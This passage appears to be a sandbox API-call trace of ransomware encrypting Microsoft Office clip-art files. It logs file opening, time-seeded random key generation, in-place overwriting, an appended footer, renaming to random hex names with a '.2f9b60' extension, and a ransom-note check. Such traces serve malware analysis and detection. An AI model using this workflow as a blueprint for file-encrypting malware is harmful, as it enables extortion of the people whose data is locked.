office\\media\\office14\\autoshap\\bd18182_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x124c [0210.714] GetFileSizeEx (in: hFile=0x124c, lpFileSize=0x2743f6e0 | out: lpFileSize=0x2743f6e0*=3166) returned 1 [0210.714] SetFilePointerEx (in: hFile=0x124c, liDistanceToMove=0xc5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.714] ReadFile (in: hFile=0x124c, lpBuffer=0x2743f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2743f6a8, lpOverlapped=0x0 | out: lpBuffer=0x2743f660*, lpNumberOfBytesRead=0x2743f6a8*=0x4, lpOverlapped=0x0) returned 1 [0210.836] SetFilePointerEx (in: hFile=0x124c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9790 [0210.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99a0 [0210.837] NtQuerySystemTime (in: CurrentTime=0x2743f5a0 | out: CurrentTime=0x2743f5a0*=132462178157086000) returned 0x0 [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x77a6cf3e [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x4d84bf2e [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x4cb5dcbd [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x7c5e6ca9 [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x2a1bcda6 [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x7789d65c [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x50de9b79 [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x7ae1f412 [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x49b29f3d [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x58ddc8dc [0210.837] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x31032770 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x209e1019 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x1bdea43a [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x7e679204 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x64502945 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x306bb196 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x6f20f8b5 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x7281a622 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x26eef550 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x4332c01e [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x70253fd2 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x1ecf0e14 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x70f2f8bc [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x2a90c751 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0xb7fd321 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x9825adf [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x24df9765 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x368cad73 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x12ea513c [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0xeb0ccb4 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x849c659 [0210.838] RtlRandomEx (in: Seed=0x2743f590 | out: Seed=0x2743f590) returned 0x68475aa4 [0210.848] ReadFile (in: hFile=0x124c, lpBuffer=0x42b3ced0, nNumberOfBytesToRead=0xc5e, lpNumberOfBytesRead=0x2743f590, lpOverlapped=0x0 | out: lpBuffer=0x42b3ced0*, lpNumberOfBytesRead=0x2743f590*=0xc5e, lpOverlapped=0x0) returned 1 [0210.848] SetFilePointerEx (in: hFile=0x124c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.848] WriteFile (in: hFile=0x124c, lpBuffer=0x42b049e0*, nNumberOfBytesToWrite=0xc5e, lpNumberOfBytesWritten=0x2743f594, lpOverlapped=0x0 | out: lpBuffer=0x42b049e0*, lpNumberOfBytesWritten=0x2743f594*=0xc5e, lpOverlapped=0x0) returned 1 [0215.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c2b0 [0215.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c340 [0215.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c340) returned 1 [0215.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b049e0) returned 1 [0215.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b3ced0) returned 1 [0215.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24b20) returned 1 [0215.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c90) returned 1 [0215.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313c340 [0215.393] SetFilePointerEx (in: hFile=0x124c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.393] WriteFile (in: hFile=0x124c, lpBuffer=0x423aa0b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2743f6b0, lpOverlapped=0x0 | out: lpBuffer=0x423aa0b0*, lpNumberOfBytesWritten=0x2743f6b0*=0x10a, lpOverlapped=0x0) returned 1 [0217.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0217.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f50) returned 1 [0217.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0217.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a60 [0217.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a60) returned 1 [0217.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.762] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="92") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="33") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="65") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="4c") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="e3") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="d3") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="90") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="9d") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="bf") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="53") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="af") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="32") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="f6") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="a6") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="51") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="50") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="4b") returned 2 [0217.762] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.763] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="66") returned 2 [0217.763] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="a0") returned 2 [0217.763] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="a0") returned 2 [0217.763] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="29") returned 2 [0217.763] RtlInitAnsiString (in: DestinationString=0x2743f728, SourceString="9233654c7ce3d3909dbf53afc232f6a651504bc566a0a029" | out: DestinationString="9233654c7ce3d3909dbf53afc232f6a651504bc566a0a029") [0217.763] RtlAnsiStringToUnicodeString (in: DestinationString=0x2743f6f8, SourceString="9233654c7ce3d3909dbf53afc232f6a651504bc566a0a029", AllocateDestinationString=1 | out: DestinationString="9233654c7ce3d3909dbf53afc232f6a651504bc566a0a029") returned 0x0 [0217.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43105f30 [0217.763] wcscat (in: _Dest=0x4314fd20, _Source="9233654c7ce3" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9233654c7ce3") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9233654c7ce3" [0217.764] wcscat (in: _Dest=0x4314fd20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9233654c7ce3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9233654c7ce3.2f9b60" [0217.764] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9233654c7ce3.2f9b60", NtPathName=0x2743f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\9233654c7ce3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe1f0 [0237.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fe1f0) returned 1 [0237.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bb060) returned 1 [0237.750] NtQueryInformationFile (in: FileHandle=0x124c, IoStatusBlock=0x2743f738, FileInformation=0x2743f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2743f738, FileInformation=0x2743f748) returned 0x0 [0237.750] NtSetInformationFile (FileHandle=0x124c, IoStatusBlock=0x2743f738, FileInformation=0x2743f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fd20) returned 1 [0240.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43105f30) returned 1 [0240.361] FlushFileBuffers (hFile=0x124c) returned 1 [0240.640] CloseHandle (hObject=0x124c) returned 1 [0242.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce11290 [0242.715] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0242.715] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0242.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0242.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9120) returned 1 Thread: id = 3547 os_tid = 0x1f1c [0210.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf")) returned 0x20 [0210.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF", dwFileAttributes=0x20) returned 1 [0210.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x684 [0210.716] GetFileSizeEx (in: hFile=0x684, lpFileSize=0x26e5fde0 | out: lpFileSize=0x26e5fde0*=3362) returned 1 [0210.716] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0xd1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.717] ReadFile (in: hFile=0x684, lpBuffer=0x26e5fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26e5fda8, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd60*, lpNumberOfBytesRead=0x26e5fda8*=0x4, lpOverlapped=0x0) returned 1 [0210.785] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b30 [0210.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a93d0 [0210.786] NtQuerySystemTime (in: CurrentTime=0x26e5fca0 | out: CurrentTime=0x26e5fca0*=132462178156462000) returned 0x0 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x46af61bd [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x465a2c1f [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x47ecd0d1 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x3ddd5a03 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x64429e23 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x67130f9c [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x2a1bcda6 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x157981b5 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x2563a43c [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x7b14d24b [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x258bbd3d [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0xa0b8a12 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x7350e13f [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0xa1fdbea [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x667d460d [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0xd3b6c33 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x266fab85 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x465a2c1f [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x46118dea [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x5341934e [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0xa5873ac [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x708ed41b [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x40a8e6bd [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x7a6b476a [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x2e37a0d5 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x2194fb87 [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0xb4a6cac [0210.786] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x56661e58 [0210.787] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x725d18db [0210.787] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x2837b1fb [0210.787] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x5a35cb6e [0210.787] RtlRandomEx (in: Seed=0x26e5fc90 | out: Seed=0x26e5fc90) returned 0x2d874e1 [0210.797] ReadFile (in: hFile=0x684, lpBuffer=0x42b31aa0, nNumberOfBytesToRead=0xd22, lpNumberOfBytesRead=0x26e5fc90, lpOverlapped=0x0 | out: lpBuffer=0x42b31aa0*, lpNumberOfBytesRead=0x26e5fc90*=0xd22, lpOverlapped=0x0) returned 1 [0210.797] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.797] WriteFile (in: hFile=0x684, lpBuffer=0x42b0c200*, nNumberOfBytesToWrite=0xd22, lpNumberOfBytesWritten=0x26e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x42b0c200*, lpNumberOfBytesWritten=0x26e5fc94*=0xd22, lpOverlapped=0x0) returned 1 [0215.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d10 [0215.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139040 [0215.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139040) returned 1 [0215.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b0c200) returned 1 [0215.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b31aa0) returned 1 [0215.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24a20) returned 1 [0215.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0215.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x43139040 [0215.378] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.378] WriteFile (in: hFile=0x684, lpBuffer=0x423aa650*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x26e5fdb0, lpOverlapped=0x0 | out: lpBuffer=0x423aa650*, lpNumberOfBytesWritten=0x26e5fdb0*=0x10a, lpOverlapped=0x0) returned 1 [0217.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b00 [0217.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8b00) returned 1 [0217.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b00 [0217.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9070 [0217.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9070) returned 1 [0217.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.739] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="82") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="46") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="3f") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="73") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="77") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="f1") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="b3") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="d2") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="12") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="d6") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="8d") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="3d") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="86") returned 2 [0217.739] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="85") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="07") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="e6") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="02") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="ad") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="d0") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="bf") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="3f") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="c9") returned 2 [0217.740] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="0d") returned 2 [0217.740] RtlInitAnsiString (in: DestinationString=0x26e5fe28, SourceString="82463f7377f1b3d212d68d3d868507e602add0a7bf3fc90d" | out: DestinationString="82463f7377f1b3d212d68d3d868507e602add0a7bf3fc90d") [0217.740] RtlAnsiStringToUnicodeString (in: DestinationString=0x26e5fdf8, SourceString="82463f7377f1b3d212d68d3d868507e602add0a7bf3fc90d", AllocateDestinationString=1 | out: DestinationString="82463f7377f1b3d212d68d3d868507e602add0a7bf3fc90d") returned 0x0 [0217.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9fa0 [0217.741] wcscat (in: _Dest=0x4314ff30, _Source="82463f7377f1" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\82463f7377f1") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\82463f7377f1" [0217.741] wcscat (in: _Dest=0x4314ff30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\82463f7377f1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\82463f7377f1.2f9b60" [0217.741] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\82463f7377f1.2f9b60", NtPathName=0x26e5fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\82463f7377f1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fdf80 Thread: id = 3548 os_tid = 0x1eac [0210.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf")) returned 0x20 [0210.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF", dwFileAttributes=0x20) returned 1 [0210.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7a8 [0210.721] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x27bdfae0 | out: lpFileSize=0x27bdfae0*=3394) returned 1 [0210.722] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0xd3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.722] ReadFile (in: hFile=0x7a8, lpBuffer=0x27bdfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27bdfaa8, lpOverlapped=0x0 | out: lpBuffer=0x27bdfa60*, 